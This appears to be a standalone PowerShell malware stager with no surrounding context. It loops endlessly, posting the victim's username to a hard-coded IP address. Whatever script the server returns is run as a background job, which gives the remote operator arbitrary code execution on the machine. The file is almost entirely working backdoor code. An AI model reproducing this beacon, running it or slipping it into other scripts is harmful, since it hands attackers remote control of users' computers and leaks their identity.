while ($true) {
    try {
        $r = Invoke-RestMethod -Uri 'http://185.237.100.158:80/20154/2dee147b-53ec-46b9-a748-44cfe3e04f83' -Method 'POST' -Body '' -Headers @{
                                                                        "x-guid" = ''
                                                                        "x-name" = $env:USERNAME
                                                                    }
        if ($r -ne '') {
            Start-Job ([ScriptBlock]::Create($r))
        }
    }
    catch {
        break;
    }
    Start-Sleep 2
}